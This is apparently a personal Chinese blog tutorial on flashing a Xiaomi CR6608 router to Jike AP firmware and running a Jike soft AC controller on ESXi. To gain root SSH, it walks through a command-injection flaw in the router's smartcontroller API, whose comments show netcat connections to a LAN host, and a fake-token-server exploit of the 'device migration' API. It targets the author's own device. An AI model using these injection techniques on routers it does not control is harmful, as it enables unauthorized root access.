CR6608刷集客AP及ESXi安装集客软AC
前言
本文记录了从无到有将CR6608从官方固件刷成集客AP,并在局域网中安装集客软AC的完整过程,仅仅是本人自身实践的回顾和对刷机原理的总结,因环境存在差异,刷机有风险,如需使用请谨慎参照本文,不可照搬。另外,CR660X的刷机到现在已经非常普遍非常简单了,所有资料所有知识都来自于各个博客和论坛相关帖子,文中的操作全都可以通过搜索引擎搜索得到。
CR6606/CR6608/CR6609/TR608各型号的区别不在下文实践范围内,其中的差异需要搜索其他资料来确定。下文所有操作都基于CR6608、所有提到的“路由器”都特指CR6608。
当前环境:
- CR6608为移动的1.0.23版本,双频WIFI开启但不合并,SSID和密码默认与机器背部贴纸上一致,工作模式为“普通路由工作模式”,DHCP开启,局域网IP为默认即192.168.10.1
必要环境
- CR6608为运营商官方固件,其版本必须足够低,若是高版本建议先刷为低版本。
启用路由器的SSHD
利用漏洞向路由器注入命令,启用路由器的sshd。
下文中所有实践的方法都是需要登录路由器管理页面的,登录成功后保持管理页面不要关闭,在地址栏获得stok参数的值,有了它就可以请求路由器的api了。api通常为: http://[浏览器ip]/cgi-bin/luci/;stok=[stok值]/api/xxxxxxx/xxxxxxxx
,下文中所有提到的api都简写为/api/xxxxxxx/xxxxxxxx
。下文中提到的Rooting Xiaomi WiFi Routers文章也讨论了不需要stok值即不需要登录管理页面的相关漏洞,但它不在本文实践范围之内。
利用smartcontroller漏洞
利用这个漏洞的前提是路由器开启smartcontroller,如果没有开启就发起请求会得到Internal Server Error的响应,开启smartcontroller需要使用api:/api/misystem/set_sys_time
来设定系统时间,这个api接受一个名为time
的参数,把值设为2023-2-19 23:4:47&timezone=CST-8
即可开启smartcontroller。这个请求为GET请求。
Rooting Xiaomi WiFi Routers文章中,有一个关于smartcontroller的注入漏洞,对于api:/api/xqsmarthome/request_smartcontroller
,接受一个名为payload
的参数,文章内已经为我们构造了这个参数的值:
1 | { |
上面json中的mac
值就是注入的地方,有多种方式可以注入,路由器会以root执行注入的命令
1 | //方式一。路由器会执行nc 192.168.31.161 4242 |
除mac
值之外,name
值也能注入
1 | //方式三。路由器会执行nc 192.168.31.161 4242 |
向路由器这个api发送带着上文payload
的POST请求之后,我们再向这个api发送另一个POST请求带着下面的payload
即可触发命令的执行:
1 | { |
可以使用任何工具发起POST请求带上字段为payload
的参数即可,切记每一次发送了带注入命令的payload
之后,需要接着发送上文中第二个payload
才能触发命令的执行。
关于有关启用sshd的命令,路由器的sshd服务端为dropbear,需要执行的命令为:
1 | sed -i s/release/XXXXXX/g /etc/init.d/dropbear |
以下是有关此漏洞开启sshd的现成命令与工具:
mphin/miwifi_tools使用curl发送请求,只需要替换掉README中的每一条curl命令中的路由器IP和stok值,一条条按顺序执行即可。需要强调的是powershell中的curl命令实际上为Invoke-WebRequest的别名,如需在powershell中使用真正的curl需要调用curl.exe而不是curl;开启sshd后,root账户的密码可以先试试管理页的登录密码,如果不对需要计算得到Xiaomi Router Developer Guide & Tools。
【教程】小米 AX3000/AX3600/AX9000/万兆路由器/AC2100/AC2350/AX1800/AX5400 开启SSH-小米无线路由器及小米网络设备-恩山无线论坛详细地写了使用curl开启sshd的教程;
最后,项目openwrt-xiaomi/xmir-patcher包含了开启sshd的功能,也有刷bl等其他功能但我没有在路由器上尝试。这个项目在使用上简单友好,有菜单,有交互输入,clone下来运行并按菜单指示操作就可以了。注意,根据交互输出的提示,此项目已经把root账户密码重置为了root。
1 | git clone https://github.com/openwrt-xiaomi/xmir-patcher.git |
环境没有安装git可以直接下载项目解压执行。
利用小米换机漏洞
利用这个漏洞的方法是让路由器连上一个wifi,此wifi必须满足在子网内没有DHCP服务,同时在子网内存在IP为169.254.31.1的主机,CR6608可以ping通此主机。
原理是当路由器没有被DHCP分配IP时会把自己的IP设为169.254.31.2,此时任意一台电脑向路由器请求/api/xqsystem/oneclick_get_remote_token
会使路由器向169.254.31.1请求/api/xqsystem/token
,路由器收到169.254.31.1的响应后,会执行包含在响应中名为token
字段的值里面的任何命令,所以只要把开启sshd的命令写在这个值内,路由器即可开启sshd。
利用小米换机漏洞的步骤比较繁杂,暂时没有找到一键式的工具,各个帖子利用此漏洞所采取的操作也八仙过海,从效率和使用的角度来看,应该尽量利用smartcontroller漏洞来开启sshd。
准备:
- 两台电脑,其中一台电脑可以安装虚拟机,有无线网卡能开启移动热点,定义为电脑A,另外一台定义为电脑B。
- 路由器关闭双频合一,2.4G的WIFI开启。
电脑A安装VirtualBox
windows系统有winget可直接在终端使用winget安装,过程不短,中途有可能会多次断网和黑屏,需要耐心等待,安装完最好重启电脑A。
1 | winget install --id Oracle.VirtualBox |
没有winget或者其他系统可用其他包管理器安装或者直接在官网Downloads – Oracle VirtualBox下载安装。
也可以用其他虚拟机软件,如VM等。
下载OpenWrt固件,将img格式的固件转换为VirtualBox的vdi格式文件,在VirtualBox中安装新建虚拟机
从官网下载合适的固件,此处用的固件是openwrt-22.03.5-x86-64-generic-ext4-combined-efi.img。cd
到VirtualBox根目录中,使用根目录下的vboxmanage转换固件的文件格式:
1 | .\vboxmanage.exe convertfromraw "输入的img文件路径" "输出的vdi文件路径" -format VDI |
得到vdi格式的文件后,打开VirtualBox新建虚拟机,将vdi文件作为此虚拟机的虚拟硬盘。
踩坑:
一开始选择了24版本的OpenWrt,安装后发现目录有些变化,找不到LuCI的controller,为了节省时间直接使用电脑里很久之前下载好的22版本。
官网下载的文件格式是gz,我在windows上用7z解压报错,找不到原因后无奈移动它到debian上用
gzip -d xxxx.gz
解压。新建虚拟机完成后无法启动虚拟机,报错
error in supR3HardenedWinReSpawn
,原因是服务没有安装成功,需要右键菜单安装VirtualBox根目录下的.\drivers\vboxsup\VBoxSup.inf
再重启电脑A。
启动OpenWrt虚拟机,新建lua脚本,关闭LAN接口的DHCP,修改LAN接口的IP地址为169.254.31.1,掩码为255.255.255.0
为了方便修改OpenWrt的配置,暂时先从VirtualBox的控制台使用终端修改OpenWrt的LAN口IP为与当前电脑网络相同网段,这里电脑A是192.168.2.135/24,所以可以把OpenWrt的LAN口IP暂时先设置为这个网段下没有其他设备使用的IP如192.168.2.136。具体操作:双击虚拟机启动后弹出VirtualBox的控制台,在控制台编辑文件:vim /etc/config/network
,修改interface lan
下面的option ipaddr
处的IP。修改完成重启网卡:/etc/init.d/network restart
或重启系统:reboot
。同时在VirtualBox处将OpenWrt虚拟机的网络改为桥接,桥接对象为电脑A当前正在上网的网卡,此时电脑A就能连接上虚拟机了,试试ping 192.168.2.136
是否ping通。从windows终端处ssh连接它和使用浏览器登录webui都能更方便管理和修改配置。(这一步其实是完全多余的,当然也可以不做,下文操作以任意方式连上OpenWrt都可以完成)
在电脑A上使用终端ssh进OpenWrt,在/usr/lib/lua/luci/controller/admin/
下新建一个名为xqsystem.lua
的脚本,内容如下:
1 | module("luci.controller.admin.xqsystem", package.seeall) |
浏览器访问192.168.2.135进入OpenWrt的webui,默认密码为空。点击“Network”-“Interface”-Edit”修改lan接口,在“General Settings”下修改ipv4地址为169.254.31.1,子网掩码为255.255.255.0,在“DHCP Server”选项卡下,勾选“General Setup”下的“Ignore interface”,取消勾选“Advanced Settings”下的“Dynamic DHCP”。点击“Save”保存,点击“Save & Apply”应用。修改完这些配置之后,电脑A是连不上OpenWrt的,为了不出现莫名其妙的问题,此时可以在VirtualBox重启一下OpenWrt。
踩坑:
单单通过勾选“Ignore interface”来禁用DHCP无法应用配置,再加上取消勾选“Dynamic DHCP”就可以了。
开启电脑A的移动热点,将OpenWrt虚拟机的网络桥接到热点的虚拟网卡上,通过取消热点虚拟网卡的IP协议来完全禁用DHCP
windows需要连接任意的WIFI才能打开移动热点,连接任意WIFI打开移动热点后,在设置中修改好热点的SSID和密码,“共享我的Internet连接”选WLAN,关闭“节能”选项避免操作过程中热点自动关闭。在控制面板中的“网络和Internet”中的“网络连接”,对热点的虚拟网卡右键属性,取消勾选“Internet协议版本4”和“Internet协议版本6”,点击层层确定按钮以完全关闭这些设置窗口以避免设置不生效。最后再到VirtualBox将OpenWrt的网络桥接对象改为此热点的虚拟网卡。至此,任何连上电脑A热点的设备都能连上OpenWrt虚拟机。
踩坑:
最开始我选择开启CR6608的SSH方案是在电脑A起一个Nginx而不是虚拟机,但是我发现将热点的IP设置为169.254.31.1并取消无线网卡的共享以达到禁用DHCP的目的的时候,CR6608连接电脑A热点总是不成功,虽然最初的十几秒WIFI已经连上,在OpenWrt也是可以ping通169.254.31.2的,但是WIFI最终会断掉,断掉后在电脑B的浏览器返回“DHCP failed code 1619”。其次我尝试过不使用热点而是第三方旧路由器方案,依然会报这个错,也许跟我电脑A的网络拓扑和DHCP没有成功禁用有关系。
电脑B连接路由器,进入路由器的web管理界面,复制浏览器地址栏URL参数中的stok值备用
路由器通电,电脑B网线连接路由器的LAN口,电脑B的网卡IP地址设置为与路由器LAN口IP同一网段,这里设置为192.168.10.34。若电脑B用无线连接路由器,则要确保路由器的双频没有合一,并且只连接其5G的WIFI,因为2.4G在后续需要连接电脑A的热点,同时也要记得修改无线网卡的IP。浏览器输入路由器的IP地址即192.168.10.1,进入管理界面后复制浏览器地址栏URL参数中的stok值备用。注意!电脑B中的管理界面不能关掉,浏览器不能关掉,不能断开与路由器的连接,以此来保证stok值不发生变化。
CR6606/CR6608/CR6609默认IP分别为:192.168.31.1、192.168.10.1、192.168.2.1
在电脑B浏览器访问路由器的api:/api/misystem/extendwifi_connect
,使路由器去连接电脑A的热点
在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”、“热点名称”、“热点密码”的链接:
1 | http://路由器IP/cgi-bin/luci/;stok=stok值/api/misystem/extendwifi_connect?ssid=热点名称&password=热点密码 |
稍加等待,成功会返回一个code为0的json值{"msg":"connect succces!","code":0}
。题外话,貌似开发人员在这里有拼写错误,我的路由器的确返回的是“succces”。
踩坑:
坑太多了,这里成功需要完全保证169.254.31.1的设备或者这个子网内不小心连上的其它设备都关闭DHCP,以确保CR6608在没有被分配IP的情况下将自己IP设置为169.254.31.2——所以为避免冲突整个子网也不能有IP为169.254.31.2的占用。我尝试的其他方案大多数都在这一步报了1619的错,唯一有一次在第三方旧路由方案中,我尝试各种接法中的一种,成功返回了code0,但是我已经忘记了它是怎么接的了,而且跟连上电脑A热点的DHCP是否是真的关掉了有非常大的关系。像上文提到的,CR6608并不是连不上热点,而是连上了热点不久又自己断掉才返回的1619报错。
在电脑B浏览器访问api:/api/xqsystem/oneclick_get_remote_token
使路由器触发小米换机的漏洞,以此来开启SSHD
在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”的链接:(链接中的username以及其他参数的值都不要改,它就是xxx)
1 | http://路由器IP/cgi-bin/luci/;stok=stok值/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx |
稍加等待,成功一样会返回一个code为0的json值{"token":"..........","code":0}
。至此,路由器的sshd已经成功开启,不要断掉连接也不要重启路由器,因为sshd没有固化。
刷PB-BOOT
在电脑B上使用scp或者winscp等工具传PB-BOOT的img文件进路由器,在电脑B的终端上使用SSH登录路由器,刷入PB-BOOT
在电脑B上打开winscp,协议选择scp,IP地址填写路由器的地址即192.168.10.1,用户名是root,密码是机器背部贴纸的密码也就是管理页面的管理员密码。
winscp进入路由器后,将提前准备好的PB-BOOT的img文件传送进路由器内,一般选择/tmp
目录。
接着,在终端上使用ssh进入路由器:
1 | ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1 |
成功进去之后,刷PB-BOOT:
1 | mtd write /tmp/pb-boot.img Bootloader |
运行完之后重启:
1 | reboot |
至此,PB-BOOT刷完,重启机器稍微等待一会,拔掉路由器的电源,用取卡针或者牙签顶住路由器的reset按钮不松开,再接上路由器的电源,等待十几秒后松开reset按钮,此时路由器开机进入PB-BOOT。把电脑B的网卡改成192.168.1.0/24网段的,例如192.168.1.34,子网掩码改为255.255.255.0,就可以在电脑B上通过浏览器里访问192.168.1.1进入PB-BOOT。
踩坑:
winscp中协议不选scp会被目标拒绝。
其他帖子提到CR6606在刷机之后root密码会变成与MAC/SN相关的密码需要计算才能得到。
ssh不加rsa的参数去连接路由器如果报
no matching host key type found.Their offer:ssh-rsa
的错,需要加上-oHostKeyAlgorithms=+ssh-rsa
参数,变成ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1
刷BREED改MAC(可选)
刷集客固件之后每次重启MAC都会改变,如果最终目的是刷集客固件的话,需要事先刷BREED去固定MAC再刷会PB-BOOT。如果是刷OpenWrt或者其他固件,此步跳过。
紧接上文,在PB-BOOT的页面上点击选择文件,选择电脑B上实现准备好的BREED的bin文件,点击恢复固件,耐心等待它刷完,点击“进入路由器首页”可以直接进BREED,BREED的IP也是192.168.1.1。点击MAC地址修改,在“LAN MAC”那一行填上机器背部贴纸上的MAC地址,点击“修改”。点击固件更新,勾选“Bootloader”,选择PB-BOOT固件,勾选“自动重启”,点击“上传”,点击“更新”,耐心等待它刷回PB-BOOT。提示成功刷完后,浏览器重新访问192.168.1.1就可以回到PB-BOOT了。
踩坑:
直接用BREED刷集客AP固件,在一些版本上会出现路由器指示灯不亮的问题,这对于CR6608影响非常大,因为它后面的接口也没有指示灯,如果正面的指示灯不亮的话,根本无法判断它是否正常开机。
刷集客AP固件
在PB-BOOT上选择8.0版本的集客固件刷入
在PB-BOOT上选择电脑B上提前准备好的集客固件,固件的型号是AP246ND,版本是8.0,刷入。至此,路由器刷集客AP固件完成。
进入集客AP管理页面
刷完后,集客AP的默认IP地址为6.6.6.6,像上文一样再次修改电脑B网卡的IP地址为6.6.6.6/24网段的IP例如6.6.6.34,就可以进入集客AP的管理页面。
踩坑:
6.1版本的AP246ND固件的管理页面,用Edge浏览器无法登录,在输入密码后进入页面会闪一下便立刻退出,换Chrome没有发现此问题,疑似跟浏览器的插件有冲突。另外7.4版本的AP246ND固件在Edge上打开管理页面一切正常。
从小米CR660X(6606/6608/6609) 折腾过程以及刷集客AP测试发现的几个问题-小米无线路由器及小米网络设备-恩山无线论坛看来,有着先刷6.1再更新7.4的操作,原因为:低版本存在射频无信号的BUG,高版本存在开机几分钟便无限重启的BUG,先刷6.1再升7.4可以同时避免这两个BUG。
7.4版本的5G信号启动得非常慢,起初我误以为此版本在路由器上没有5G射频,事实上开机好几分钟之后才能在列表看到5G的SSID。重新刷了7.2版本,此问题同样存在。
目前尝试过的版本:6.4、7.2、7.4、8.0都会在重启后丢失所有配置,所以从实际情况考虑是需要部署一个AC用于下发配置的。
最终选择的8.0集客AP固件是没有free版本的,所以8.0的管理页面会显示未注册——即使刚刷完显示已注册但用一会就会变回未注册。就目前看来,未注册暂时没有对我造成使用上的困扰。
部署集客AC
集客官方直接提供了AC控制器在各平台的二进制文件:文件管理,加上我的主路由环境多年来一直都是ESXi打底上面跑OpenWrt的组合,使得安装软AC的过程畅通无阻。如果主路由没有虚拟化的话,软AC需要考虑其他方案,比如在OpenWrt上跑Docker部署软AC的镜像,或者不考虑软AC,改之为使用一台合适的路由器刷集客对应版本的AC固件。
ESXi创建虚拟机
集客官方在文件管理提供了86、amd64、arm、mips各个平台的文件,选择最熟悉的系统即可。这里安装的是我比较熟悉的Debian,从Debian官网提供的镜像站下载Debian的iso文件debian-12.1.0-amd64-DVD-1.iso。
在ESXi上创建一台虚拟机,在设置上,网络适配器:选择的端口组为主路由所在的端口组,或不同端口组但两端口组处于同一个虚拟交换机内,这里显而易见是为了让Debian与主路由所处的网络连通。CD/DVD硬盘驱动器:选择Debian的iso镜像。
启动Debian虚拟机开始安装系统,安装过程中的不要选择任何多余的软件,只需要选择安装SSH就可以了。
虚拟机的基本网络配置
根据集客官方的说明文档:file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,需要让AP能访问到6.7.8.9:60650,可选方案一是把Debian的IP静态为6.7.8.9,二是从OpenWrt主路由做一个转发从Debian的IP:端口转发到6.7.8.9:60650。为了考虑方便迁移,减少依赖性,此处选择的前者,直接把Debian静态为6.7.8.9。
修改 /etc/network/interfaces
,把Debian当前的网卡ens33设为静态,网关指向OpenWrt主路由。
1 | #ipv4 static auto ens33 iface ens33 inet static address 6.7.8.9 netmask 255.255.255.0 gateway 192.168.2.1 |
重启网卡
1 | systemctl restart networking |
部署集客软AC
下载集客官方提供的文件ac_linux_amd64_V2.2_202503181710到Debian
1 | cd /etc |
到这里其实就可以直接运行集客AC了,但还可以再做一些工作完善一下。
设置集客AC开机启动
首先我们设置Debian这个虚拟机在宿主机ESXi启动时自动启动,在ESXi虚拟机列表右键Debian弹出菜单点击自动启动,启用它。
在Debian刚刚放集客AC的目录下面再新建一个脚本固定一下ac启动的参数,根据官方的说明file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,可选参数非常少并且简单易懂,其间也给出了启动示例,只需要关心-p
和-mp
自定义一下控制器端口和管理页面端口,-f
和-dbpath
自定义一下上传文件目录和数据库目录即可
1 | cd /etc/jike |
在ac_run.sh
写上运行ac_linux_amd64_V2.2_202503181710的命令
1 |
|
接着加入开机启动脚本
1 | cd /etc/init.d |
在jike.sh
写上执行ac_run.sh的命令
1 |
|
加入开机启动,重启一下Debian检查下开机启动是否成功
1 | update-rc.d jike.sh defaults |
设置AC控制器,下发AP配置
把电脑改为与6.7.8.9同一网段,访问6.7.8.9进入AC控制器的管理页面。管理页面上说明写着“无线AP可以跨VLAN,子网,三层交换机,路由器和防火墙找到本AC”,“在未隔离广播的情况下,子网6.7.8.9/255.255.255.0内的AP可以通过广播的方式自动发现本AC”,“也可以通过在核心交换机上添加一条到6.7.8.9/32,下一跳为6.7.8.9的静态路由来让AP发现本AC”。
按理说,把所有刷好AP固件的路由器LAN口接入到局域网中,网络配置无误的情况下在AC管理页面的无线AP列表会显示出所有AP。
踩坑:
我把路由器接入到局域网中之后,在子网内AC无法发现AP,折腾了一番只能选择去OpenWrt主路由添加一条静态路由。接口选局域网的接口,路由类型选单播,目标填6.7.8.9/32,网关填0.0.0.0。添加这条静态路由之后,不仅6.6.6.6的AP路由器能连通到AC的6.7.8.9,整个局域网都能连通到6.7.8.9了。
在AC控制器管理页面新增模板,设置好WIFI的各个参数,再把模板下发给所有AP路由器即可,接着选择所有AP路由器修改密码,对每台AP单独命名。至此,集客AC部署设置完成。